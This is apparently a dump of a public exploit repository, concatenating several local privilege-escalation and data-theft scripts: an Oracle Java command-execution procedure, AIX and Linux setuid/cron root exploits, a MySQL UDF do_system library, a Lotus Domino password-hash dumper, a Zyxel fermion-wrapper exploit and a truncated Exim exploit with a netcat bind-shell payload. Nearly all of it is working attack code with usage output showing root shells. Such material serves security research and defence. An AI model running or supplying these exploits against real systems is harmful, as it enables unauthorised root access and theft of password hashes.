module 68 | */ 69 | public static void writeFile(String filename, String line) throws IOException 70 | { 71 | FileWriter f = new FileWriter(filename, true); /* append */ 72 | BufferedWriter fw = new BufferedWriter(f); 73 | fw.write(line); 74 | fw.write("\n"); 75 | fw.close(); 76 | } 77 | } 78 | / 79 | 80 | -- usage: exec javacmd('command'); 81 | create or replace procedure javacmd(p_command varchar2) as 82 | language java 83 | name 'oraexec.execCommand(java.lang.String)'; 84 | / 85 | 86 | -- usage: exec dbms_java.set_output(2000); 87 | -- set serveroutput on; 88 | -- exec javareadfile('/path/to/file'); 89 | create or replace procedure javareadfile(p_filename in varchar2) as 90 | language java 91 | name 'oraexec.readFile(java.lang.String)'; 92 | / 93 | 94 | -- usage: exec javawritefile('/path/to/file', 'line to append'); 95 | create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as 96 | language java 97 | name 'oraexec.writeFile(java.lang.String, java.lang.String)'; 98 | / 99 | -------------------------------------------------------------------------------- /aix/raptor_libC: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # $Id: raptor_libC,v 1.2 2009/09/15 07:35:13 raptor Exp $ 5 | # 6 | # raptor_libC - AIX arbitrary file overwrite via libC debug 7 | # Copyright (c) 2009 Marco Ivaldi 8 | # 9 | # Property of @ Mediaservice.net Srl Data Security Division 10 | # http://www.mediaservice.net/ http://lab.mediaservice.net/ 11 | # 12 | # *** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING *** 13 | # 14 | # A certain debugging component in IBM AIX 5.3 and 6.1 does not properly handle 15 | # the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE environment variables, which 16 | # allows local users to gain privileges by leveraging a setuid-root program to 17 | # create an arbitrary root-owned file with world-writable permissions, related 18 | # to libC.a (aka the XL C++ runtime library) in AIX 5.3 and libc.a in AIX 6.1 19 | # (CVE-2009-2669). 20 | # 21 | # Typical privilege escalation techniques via arbitrary file creation don't 22 | # seem to work on recent AIX versions: .rhosts is ignored if it is group or 23 | # world writable; LIBPATH and LDR_PRELOAD have no effect for setuid binaries; 24 | # /var/spool/cron/atjobs seems useless as well, since we cannot open cron's 25 | # named pipe /var/adm/cron/FIFO; similarly, /root/.ssh/authorized_keys is not 26 | # usable, because of the permissions (700) usually set on the directory. Other 27 | # viable exploitation vectors that come to mind, depending on the target box 28 | # setup, are: /root/{.profile,.kshrc,...}, /etc/rc.d/, and PATH abuse. 29 | # 30 | # See also: http://milw0rm.com/exploits/9306 31 | # 32 | # Usage: 33 | # $ uname -a 34 | # AIX rs6000 3 5 0052288E4C00 35 | # $ lslpp -L xlC.rte | grep xlC.rte 36 | # xlC.rte 9.0.0.1 C F XL C/C++ Runtime 37 | # $ chmod +x raptor_libC 38 | # $ ./raptor_libC /bin/bobobobobob 39 | # [...] 40 | # -rw-rw-rw- 1 root staff 63 Sep 10 09:55 /bin/bobobobobob 41 | # 42 | # Vulnerable platforms (AIX 5.3): 43 | # xlC.rte < 8.0.0.0 [untested] 44 | # xlC.rte 8.0.0.0-8.0.0.14 [untested] 45 | # xlC.rte 9.0.0.0-9.0.0.9 [tested] 46 | # xlC.rte 10.1.0.0-10.1.0.2 [untested] 47 | # 48 | # Vulnerable platforms (AIX 6.1): 49 | # bos.rte.libc 6.1.0.0-6.1.0.11 [untested] 50 | # bos.rte.libc 6.1.1.0-6.1.1.6 [untested] 51 | # bos.rte.libc 6.1.2.0-6.1.2.5 [untested] 52 | # bos.rte.libc 6.1.3.0-6.1.3.2 [untested] 53 | # bos.adt.prof 6.1.0.0-6.1.0.10 [untested] 54 | # bos.adt.prof 6.1.1.0-6.1.1.5 [untested] 55 | # bos.adt.prof 6.1.2.0-6.1.2.4 [untested] 56 | # bos.adt.prof 6.1.3.0-6.1.3.1 [untested] 57 | # 58 | 59 | echo "raptor_libC - AIX arbitrary file overwrite via libC debug" 60 | echo "Copyright (c) 2009 Marco Ivaldi " 61 | echo 62 | 63 | # check the arguments 64 | if [ -z "$1" ]; then 65 | echo "*** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***" 66 | echo 67 | echo "Usage: $0 " 68 | echo 69 | exit 70 | fi 71 | 72 | # prepare the environment 73 | _LIB_INIT_DBG=1 74 | _LIB_INIT_DBG_FILE=$1 75 | export _LIB_INIT_DBG _LIB_INIT_DBG_FILE 76 | 77 | # gimme -rw-rw-rw-! 78 | umask 0 79 | 80 | # setuid program linked to /usr/lib/libC.a 81 | /usr/dt/bin/dtappgather 82 | 83 | # other good setuid targets 84 | # /usr/dt/bin/dtprintinfo 85 | # /opt/IBMinvscout/bin/invscoutClient_VPD_Survey 86 | 87 | # check the created file 88 | ls -l $_LIB_INIT_DBG_FILE 89 | echo 90 | -------------------------------------------------------------------------------- /mysql/raptor_udf2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:53:58 raptor Exp $ 3 | * 4 | * raptor_udf2.c - dynamic library for do_system() MySQL UDF 5 | * Copyright (c) 2006 Marco Ivaldi 6 | * 7 | * This is an helper dynamic library for local privilege escalation through 8 | * MySQL run with root privileges (very bad idea!), slightly modified to work 9 | * with newer versions of the open-source database. Tested on MySQL 4.1.14. 10 | * 11 | * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c 12 | * 13 | * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes 14 | * for the security vulnerabilities in the handling of User Defined Functions 15 | * (UDFs) reported by Stefano Di Paola . For further 16 | * details, please refer to: 17 | * 18 | * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html 19 | * http://www.wisec.it/vulns.php?page=4 20 | * http://www.wisec.it/vulns.php?page=5 21 | * http://www.wisec.it/vulns.php?page=6 22 | * 23 | * "UDFs should have at least one symbol defined in addition to the xxx symbol 24 | * that corresponds to the main xxx() function. These auxiliary symbols 25 | * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and 26 | * xxx_add() functions". -- User Defined Functions Security Precautions 27 | * 28 | * Usage: 29 | * $ id 30 | * uid=500(raptor) gid=500(raptor) groups=500(raptor) 31 | * $ gcc -g -c raptor_udf2.c 32 | * $ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc 33 | * $ mysql -u root -p 34 | * Enter password: 35 | * [...] 36 | * mysql> use mysql; 37 | * mysql> create table foo(line blob); 38 | * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so')); 39 | * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so'; 40 | * mysql> create function do_system returns integer soname 'raptor_udf2.so'; 41 | * mysql> select * from mysql.func; 42 | * +-----------+-----+----------------+----------+ 43 | * | name | ret | dl | type | 44 | * +-----------+-----+----------------+----------+ 45 | * | do_system | 2 | raptor_udf2.so | function | 46 | * +-----------+-----+----------------+----------+ 47 | * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out'); 48 | * mysql> \! sh 49 | * sh-2.05b$ cat /tmp/out 50 | * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) 51 | * [...] 52 | */ 53 | 54 | #include 55 | #include 56 | 57 | enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; 58 | 59 | typedef struct st_udf_args { 60 | unsigned int arg_count; // number of arguments 61 | enum Item_result *arg_type; // pointer to item_result 62 | char **args; // pointer to arguments 63 | unsigned long *lengths; // length of string args 64 | char *maybe_null; // 1 for maybe_null args 65 | } UDF_ARGS; 66 | 67 | typedef struct st_udf_init { 68 | char maybe_null; // 1 if func can return NULL 69 | unsigned int decimals; // for real functions 70 | unsigned long max_length; // for string functions 71 | char *ptr; // free ptr for func data 72 | char const_item; // 0 if result is constant 73 | } UDF_INIT; 74 | 75 | int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) 76 | { 77 | if (args->arg_count != 1) 78 | return(0); 79 | 80 | system(args->args[0]); 81 | 82 | return(0); 83 | } 84 | 85 | char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 86 | { 87 | return(0); 88 | } 89 | -------------------------------------------------------------------------------- /linux/raptor_prctl.c: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: raptor_prctl.c,v 1.5 2006/07/18 13:16:11 raptor Exp $ 3 | * 4 | * raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability 5 | * Copyright (c) 2006 Marco Ivaldi 6 | * 7 | * The suid_dumpable support in Linux kernel 2.6.13 up to versions before 8 | * 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial 9 | * of service (disk consumption) and POSSIBLY (yeah, sure;) gain privileges via 10 | * the PR_SET_DUMPABLE argument of the prctl function and a program that causes 11 | * a core dump file to be created in a directory for which the user does not 12 | * have permissions (CVE-2006-2451). 13 | * 14 | * Berlin, Sunday July 9th 2006: CAMPIONI DEL MONDO! CAMPIONI DEL MONDO! 15 | * CAMPIONI DEL MONDO! (i was tempted to name this exploit "pajolo.c";)) 16 | * 17 | * Greets to Paul Starzetz and Roman Medina, who also exploited this ugly bug. 18 | * 19 | * NOTE. This exploit uses the Vixie's crontab /etc/cron.d attack vector: this 20 | * means that distributions that use a different configuration (namely Dillon's 21 | * crontab on Slackware Linux) can be vulnerable but not directly exploitable. 22 | * 23 | * Usage: 24 | * $ gcc raptor_prctl.c -o raptor_prctl -Wall 25 | * [exploit must be dynamically linked] 26 | * $ ./raptor_prctl 27 | * [...] 28 | * sh-3.00# id 29 | * uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users) 30 | * sh-3.00# 31 | * [don't forget to delete /tmp/pwned!] 32 | * 33 | * Vulnerable platforms: 34 | * Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default] 35 | */ 36 | 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | 45 | #define INFO1 "raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability" 46 | #define INFO2 "Copyright (c) 2006 Marco Ivaldi " 47 | 48 | char payload[] = /* commands to be executed by privileged crond */ 49 | "\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * * root chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n"; 50 | 51 | char pwnage[] = /* build setuid() helper to circumvent bash checks */ 52 | "echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c"; 53 | 54 | int main(void) 55 | { 56 | int pid, i; 57 | struct rlimit corelimit; 58 | struct stat st; 59 | 60 | /* print exploit information */ 61 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 62 | 63 | /* prepare the setuid() helper */ 64 | system(pwnage); 65 | 66 | /* set core size to unlimited */ 67 | corelimit.rlim_cur = RLIM_INFINITY; 68 | corelimit.rlim_max = RLIM_INFINITY; 69 | setrlimit(RLIMIT_CORE, &corelimit); 70 | 71 | /* let's do the PR_SET_DUMPABLE magic */ 72 | if (!(pid = fork())) { 73 | chdir("/etc/cron.d"); 74 | prctl(PR_SET_DUMPABLE, 2); 75 | sleep(666); 76 | exit(1); 77 | } 78 | kill(pid, SIGSEGV); 79 | 80 | /* did it work? */ 81 | sleep(3); 82 | if (stat("/etc/cron.d/core", &st) < 0) { 83 | fprintf(stderr, "Error: Not vulnerable? See comments.\n"); 84 | exit(1); 85 | } 86 | 87 | fprintf(stderr, "Ready to uncork the champagne? "); 88 | fprintf(stderr, "Please wait a couple of minutes;)\n"); 89 | 90 | /* wait for crond to execute our evil entry */ 91 | for (i = 0; i < 124; i += 2) { 92 | if (stat("/tmp/pwned", &st) < 0) { 93 | fprintf(stderr, "\nError: Check /tmp/pwned!\n"); 94 | exit(1); 95 | } 96 | if (st.st_uid == 0) 97 | break; 98 | fprintf(stderr, "."); 99 | sleep(2); 100 | } 101 | 102 | /* timeout reached? */ 103 | if (i > 120) { 104 | fprintf(stderr, "\nTimeout: Check /tmp/pwned!\n"); 105 | exit(1); 106 | } 107 | 108 | /* total pwnage */ 109 | fprintf(stderr, "CAMPIONI DEL MONDO!\n\n"); 110 | system("/tmp/pwned"); 111 | exit(0); 112 | } 113 | -------------------------------------------------------------------------------- /mysql/raptor_winudf/src/ShellTest/ShellTest.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 11 | 12 | 13 | 19 | 30 | 32 | 40 | 42 | 44 | 46 | 48 | 50 | 52 | 54 | 56 | 58 | 60 | 61 | 67 | 76 | 78 | 81 | 83 | 85 | 87 | 89 | 91 | 93 | 95 | 97 | 99 | 101 | 102 | 103 | 104 | 105 | 106 | 110 | 112 | 113 | 115 | 116 | 117 | 121 | 123 | 124 | 125 | 129 | 130 | 131 | 132 | 133 | 134 | -------------------------------------------------------------------------------- /linux/raptor_prctl2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: raptor_prctl2.c,v 1.4 2006/07/20 09:06:53 raptor Exp $ 3 | * 4 | * raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate) 5 | * Copyright (c) 2006 Marco Ivaldi 6 | * 7 | * The suid_dumpable support in Linux kernel 2.6.13 up to versions before 8 | * 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial 9 | * of service (disk consumption) and POSSIBLY (yeah, sure;) gain privileges via 10 | * the PR_SET_DUMPABLE argument of the prctl function and a program that causes 11 | * a core dump file to be created in a directory for which the user does not 12 | * have permissions (CVE-2006-2451). 13 | * 14 | * This exploit uses the logrotate attack vector: of course, you must be able 15 | * to chdir() into the /etc/logrotate.d directory in order to exploit the 16 | * vulnerability. I've experimented a bit with other attack vectors as well, 17 | * with no luck: at (/var/spool/atjobs/) uses file name information to 18 | * establish execution time, /etc/cron.{hourly,daily,weekly,monthly} want +x 19 | * permissions, xinetd (/etc/xinetd.d) puked out the crafted garbage-filled 20 | * coredump, and files in /etc/ld.so.conf.d are included only if they match 21 | * "*.conf" (see also http://www.0xdeadbeef.info/exploits/raptor_prctl.c). 22 | * 23 | * Thanks to Solar Designer for the interesting discussion on attack vectors. 24 | * 25 | * NOTE THAT IN ORDER TO WORK THIS EXPLOIT *MUST* BE STATICALLY LINKED!!! 26 | * 27 | * Usage: 28 | * $ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall 29 | * [exploit must be statically linked] 30 | * $ ./raptor_prctl2 31 | * [please wait until logrotate is run] 32 | * $ ls -l /tmp/pwned 33 | * -rwsr-xr-x 1 root users 7221 2006-07-18 13:32 /tmp/pwned 34 | * $ /tmp/pwned 35 | * sh-3.00# id 36 | * uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users) 37 | * sh-3.00# 38 | * [don't forget to delete /tmp/pwned!] 39 | * 40 | * Vulnerable platforms: 41 | * Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default] 42 | */ 43 | 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | 52 | #define INFO1 "raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)" 53 | #define INFO2 "Copyright (c) 2006 Marco Ivaldi " 54 | 55 | char payload[] = /* commands to be executed by privileged logrotate */ 56 | "\n/var/log/core {\n daily\n size=0\n firstaction\n chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f /var/log/core*\n endscript\n}\n"; 57 | 58 | char pwnage[] = /* build setuid() helper to circumvent bash checks */ 59 | "echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c"; 60 | 61 | int main(void) 62 | { 63 | int pid; 64 | struct rlimit corelimit; 65 | struct stat st; 66 | 67 | /* print exploit information */ 68 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 69 | 70 | /* prepare the setuid() helper */ 71 | system(pwnage); 72 | 73 | /* set core size to unlimited */ 74 | corelimit.rlim_cur = RLIM_INFINITY; 75 | corelimit.rlim_max = RLIM_INFINITY; 76 | setrlimit(RLIMIT_CORE, &corelimit); 77 | 78 | /* let's create a fake logfile in /var/log */ 79 | if (!(pid = fork())) { 80 | chdir("/var/log"); 81 | prctl(PR_SET_DUMPABLE, 2); 82 | sleep(666); 83 | exit(1); 84 | } 85 | kill(pid, SIGSEGV); 86 | 87 | /* let's do the PR_SET_DUMPABLE magic */ 88 | if (!(pid = fork())) { 89 | chdir("/etc/logrotate.d"); 90 | prctl(PR_SET_DUMPABLE, 2); 91 | sleep(666); 92 | exit(1); 93 | } 94 | kill(pid, SIGSEGV); 95 | 96 | /* did it work? */ 97 | sleep(3); 98 | if ((stat("/var/log/core", &st) < 0) || 99 | (stat("/etc/logrotate.d/core", &st) < 0)) { 100 | fprintf(stderr, "Error: Not vulnerable? See comments.\n"); 101 | exit(1); 102 | } 103 | 104 | /* total pwnage */ 105 | fprintf(stderr, "Please wait until logrotate is run and check /tmp/pwned;)\n"); 106 | exit(0); 107 | } 108 | -------------------------------------------------------------------------------- /misc/raptor_dominohash: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 4 | # $Id: raptor_dominohash,v 1.3 2007/02/13 17:27:10 raptor Exp $ 5 | # 6 | # raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump 7 | # Copyright (c) 2007 Marco Ivaldi 8 | # 9 | # Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, 10 | # stores sensitive data from names.nsf in hidden form fields, which allows 11 | # remote attackers to read the HTML source to obtain sensitive information such 12 | # as (1) the password hash in the HTTPPassword field, (2) the password change 13 | # date in the HTTPPasswordChangeDate field, (3) the client platform in the 14 | # ClntPltfrm field, (4) the client machine name in the ClntMachine field, and 15 | # (5) the client Lotus Domino release in the ClntBld field, a different 16 | # vulnerability than CVE-2005-2696 (CVE-2005-2428). 17 | # 18 | # According to testing, it's possible to dump all HTTPPassword hashes using the 19 | # $defaultview view instead of $users. This saves a considerable amount of time. 20 | # 21 | # The code may require some changes to properly work with your configuration. 22 | # 23 | # See also: 24 | # http://www.securiteinfo.com/outils/DominoHashBreaker.shtml 25 | # 26 | # Usage: 27 | # $ ./raptor_dominohash 192.168.0.202 28 | # [...] 29 | # Extracting the view entries... 30 | # Done! 656 unique entries have been found. 31 | # Now ready to dump password hashes... 32 | # [...] 33 | # [http://192.168.0.202/names.nsf/$defaultview/00DA2289CC118A854925715A000611A3] 34 | # FirstName: Foo 35 | # LastName: Bar 36 | # ShortName: fbar 37 | # HTTPPassword: (355E98E7C7B59BD810ED845AD0FD2FC4) 38 | # [...] 39 | # 40 | # Vulnerable platforms: 41 | # Lotus Domino R6 Webmail [tested] 42 | # Lotus Domino R5 Webmail [untested] 43 | # Lotus Domino R4 Webmail? [untested] 44 | # 45 | 46 | # Some vars 47 | i=1 48 | tmp1=dominohash1.tmp 49 | tmp2=dominohash2.tmp 50 | 51 | # Command line 52 | host=$1 53 | 54 | # Local fuctions 55 | function header() { 56 | echo "" 57 | echo "raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump" 58 | echo "Copyright (c) 2007 Marco Ivaldi " 59 | echo "" 60 | } 61 | 62 | function footer() { 63 | echo "" 64 | exit 0 65 | } 66 | 67 | function usage() { 68 | header 69 | echo "usage : ./raptor_dominohash " 70 | echo "example: ./raptor_dominohash 192.168.0.202" 71 | footer 72 | } 73 | 74 | function notfound() { 75 | header 76 | echo "error : curl not found" 77 | footer 78 | } 79 | 80 | # Check if curl is there 81 | curl=`which curl 2>/dev/null` 82 | if [ $? -ne 0 ]; then 83 | notfound 84 | fi 85 | 86 | # Input control 87 | if [ -z "$1" ]; then 88 | usage 89 | fi 90 | 91 | # Remove temporary files 92 | rm -f $tmp1 93 | rm -f $tmp2 94 | 95 | header 96 | 97 | # Extract the view entries 98 | echo "Extracting the view entries..." 99 | while : 100 | do 101 | curl "http://${host}/names.nsf/\$defaultview?Readviewentries&Start=${i}" 2>/dev/null | grep unid >> $tmp1 102 | 103 | # Check grep return value 104 | if [ $? -ne 0 ]; then 105 | break 106 | fi 107 | 108 | # Go for the next page 109 | i=`expr $i + 30` 110 | echo -ne "\b\b\b\b\b\b\b\b$i" 111 | done 112 | 113 | cat $tmp1 | awk -F'unid="' '{print $2}' | awk -F'"' '{print $1}' | sort | uniq > $tmp2 114 | 115 | # Check if some view entries have been found 116 | if [ ! -s $tmp2 ]; then 117 | echo "No entries found on host ${host}!" 118 | footer 119 | fi 120 | echo -ne "\b\b\b\b\b\b\b\bDone! " 121 | echo "`wc -l ${tmp2} | awk '{print $1}'` unique entries have been found." 122 | echo "" 123 | 124 | # Perform the hash dumping 125 | echo "Now ready to dump password hashes..." 126 | echo "" 127 | sleep 4 128 | for unid in `cat $tmp2` 129 | do 130 | echo "[http://${host}/names.nsf/\$defaultview/${unid}]" 131 | echo "" 132 | #curl "http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument" 2>/dev/null | egrep '"FullName"|"HTTPPassword"' 133 | curl "http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument" 2>/dev/null | egrep '"FirstName"|"LastName"|"ShortName"|"HTTPPassword"' | awk -F'input name="' '{print $2}' | awk -F'" type="hidden" value="' '{print $1 ":\t" $2}' | tr -d '">' 134 | echo "" 135 | done 136 | 137 | footer 138 | -------------------------------------------------------------------------------- /zyxel/raptor_fermion: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # raptor_fermion - Zyxel fermion-wrapper root LPE exploit 5 | # Copyright (c) 2025 Marco Ivaldi 6 | # 7 | # "So we wait, this is our labour... we wait." 8 | # -- Anthony Swofford on fuzzing 9 | # 10 | # The setuid root binary program `/usr/sbin/fermion-wrapper` distributed by 11 | # Zyxel with some of their appliances follows symbolic links in the `/tmp` 12 | # directory when run with the `register-status` argument. This allows local 13 | # users with access to a Linux OS shell to trick the program into creating 14 | # writable files at arbitrary locations in the filesystem. This vulnerability 15 | # can be exploited to overwrite arbitrary files or locally escalate privileges 16 | # from low-privileged user (e.g., `postgres`) to root. 17 | # 18 | # Note: the `/tmp` directory doesn't have the sticky bit set, which simplifies 19 | # exploitation of this vulnerability and may also cause all sorts of havoc. 20 | # 21 | # ## Vulnerability information 22 | # 23 | # * CVE ID - CVE-2025-1731 24 | # * High - 7.8 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 25 | # * CWE-61 - https://cwe.mitre.org/data/definitions/61.html 26 | # 27 | # ## Relevant links 28 | # 29 | # * https://github.com/hnsecurity/vulns/blob/main/HNS-2025-10-zyxel-fermion.txt 30 | # * https://hnsecurity.it/blog/local-privilege-escalation-on-zyxel-usg-flex-h-series-cve-2025-1731 31 | # * https://0xdeadc0de.xyz/blog/cve-2025-1731_cve-2025-1732 32 | # * https://hnsecurity.it/blog/tag/zyxel/ 33 | # 34 | # ## Usage example 35 | # 36 | # ``` 37 | # $ ./raptor_fermion 38 | # raptor_fermion - Zyxel fermion-wrapper root LPE exploit 39 | # Copyright (c) 2025 Marco Ivaldi 40 | # 41 | # [*] Exploiting /usr/sbin/fermion-wrapper 42 | # $ uname -a 43 | # Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU/Linux 44 | # $ id 45 | # uid=502(postgres) gid=502(postgres) groups=502(postgres) 46 | # $ ls -l /usr/sbin/fermion-wrapper 47 | # -rwsr-xr-x 1 root root 44288 Jan 9 05:34 /usr/sbin/fermion-wrapper 48 | # {"status": 0, "registered": 1, "nebula_registered": 1, "bundle": 1} 49 | # 50 | # [+] Everything looks good \o/, wait an hour and check /tmp/pwned 51 | # $ ls -l /etc/cron.d/runme 52 | # -rw-rw-rw- 1 root postgres 79 Feb 14 15:52 /etc/cron.d/runme 53 | # $ cat /etc/cron.d/runme 54 | # * * * * * cp /bin/sh /tmp/pwned; chmod 4755 /tmp/pwned; rm /etc/cron.d/runme 55 | # 56 | # [+] Run the shell as follows to bypass bash checks: /tmp/pwned -p 57 | # 58 | # [about one hour later...] 59 | # 60 | # $ ls -l /tmp/pwned 61 | # -rwsr-xr-x 1 root root 916608 Feb 14 16:25 /tmp/pwned 62 | # $ /tmp/pwned -p 63 | # # id 64 | # uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres) 65 | # # R00t D4nc3!!!111! \o/ 66 | # ``` 67 | # 68 | # ## Tested on 69 | # 70 | # * Zyxel FLEX100H with Firmware V1.31(ABXF.0) | 2025-01-09 04:35:47 71 | # * Zyxel FLEX200H with Firmware V1.31(ABWV.0) | 2025-01-09 05:11:31 72 | # 73 | # *Note: other products and firmware versions may also be vulnerable.* 74 | # 75 | # ## Special thanks 76 | # 77 | # * Alessandro Sgreccia (@rainpwn) of HackerHood for his research and devices 78 | # 79 | 80 | echo "raptor_fermion - Zyxel fermion-wrapper root LPE exploit" 81 | echo "Copyright (c) 2025 Marco Ivaldi " 82 | echo 83 | 84 | target="/usr/sbin/fermion-wrapper" 85 | tmpfile="/tmp/register_status" 86 | runme="/etc/cron.d/runme" 87 | shell="/tmp/pwned" 88 | 89 | echo "[*] Exploiting $target" 90 | echo "$ uname -a" 91 | uname -a 92 | echo "$ id" 93 | id 94 | echo "$ ls -l $target" 95 | ls -l $target 96 | 97 | umask 0 98 | rm $tmpfile 99 | ln -s $runme /tmp/register_status 100 | $target register-status 101 | echo "* * * * * cp /bin/sh $shell; chmod 4755 $shell; rm $runme" > $runme 102 | 103 | if [ "`cat $runme 2>/dev/null`" = "" ]; then 104 | echo "[!] Error: something went wrong ¯\\_(ツ)_/¯" 105 | exit 1 106 | fi 107 | 108 | echo 109 | echo "[+] Everything looks good \\o/, wait an hour and check $shell" 110 | echo "$ ls -l $runme" 111 | ls -l $runme 112 | echo "$ cat $runme" 113 | cat $runme 114 | 115 | echo 116 | echo "[+] Run the shell as follows to bypass bash checks: $shell -p" 117 | echo 118 | -------------------------------------------------------------------------------- /linux/raptor_exim_wiz: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 4 | # raptor_exim_wiz - "The Return of the WIZard" LPE exploit 5 | # Copyright (c) 2019 Marco Ivaldi 6 | # 7 | # A flaw was found in Exim versions 4.87 to 4.91 (inclusive). 8 | # Improper validation of recipient address in deliver_message() 9 | # function in /src/deliver.c may lead to remote command execution. 10 | # (CVE-2019-10149) 11 | # 12 | # This is a local privilege escalation exploit for "The Return 13 | # of the WIZard" vulnerability reported by the Qualys Security 14 | # Advisory team. 15 | # 16 | # Credits: 17 | # Qualys Security Advisory team (kudos for your amazing research!) 18 | # Dennis 'dhn' Herrmann (/dev/tcp technique) 19 | # 20 | # Usage (setuid method): 21 | # $ id 22 | # uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...] 23 | # $ ./raptor_exim_wiz -m setuid 24 | # Preparing setuid shell helper... 25 | # Delivering setuid payload... 26 | # [...] 27 | # Waiting 5 seconds... 28 | # -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned 29 | # # id 30 | # uid=0(root) gid=0(root) groups=0(root) 31 | # 32 | # Usage (netcat method): 33 | # $ id 34 | # uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...] 35 | # $ ./raptor_exim_wiz -m netcat 36 | # Delivering netcat payload... 37 | # Waiting 5 seconds... 38 | # localhost [127.0.0.1] 31337 (?) open 39 | # id 40 | # uid=0(root) gid=0(root) groups=0(root) 41 | # 42 | # Vulnerable platforms: 43 | # Exim 4.87 - 4.91 44 | # 45 | # Tested against: 46 | # Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz] 47 | # 48 | 49 | METHOD="setuid" # default method 50 | PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost' 51 | PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost' 52 | 53 | # usage instructions 54 | function usage() 55 | { 56 | echo "$0 [-m METHOD]" 57 | echo 58 | echo "-m setuid : use the setuid payload (default)" 59 | echo "-m netcat : use the netcat payload" 60 | echo 61 | exit 1 62 | } 63 | 64 | # payload delivery 65 | function exploit() 66 | { 67 | # connect to localhost:25 68 | exec 3<>/dev/tcp/localhost/25 69 | 70 | # deliver the payload 71 | read -u 3 && echo $REPLY 72 | echo "helo localhost" >&3 73 | read -u 3 && echo $REPLY 74 | echo "mail from:<>" >&3 75 | read -u 3 && echo $REPLY 76 | echo "rcpt to:<$PAYLOAD>" >&3 77 | read -u 3 && echo $REPLY 78 | echo "data" >&3 79 | read -u 3 && echo $REPLY 80 | for i in {1..31} 81 | do 82 | echo "Received: $i" >&3 83 | done 84 | echo "." >&3 85 | read -u 3 && echo $REPLY 86 | echo "quit" >&3 87 | read -u 3 && echo $REPLY 88 | } 89 | 90 | # print banner 91 | echo 92 | echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit' 93 | echo 'Copyright (c) 2019 Marco Ivaldi ' 94 | echo 95 | 96 | # parse command line 97 | while [ ! -z "$1" ]; do 98 | case $1 in 99 | -m) shift; METHOD="$1"; shift;; 100 | * ) usage 101 | ;; 102 | esac 103 | done 104 | if [ -z $METHOD ]; then 105 | usage 106 | fi 107 | 108 | # setuid method 109 | if [ $METHOD = "setuid" ]; then 110 | 111 | # prepare a setuid shell helper to 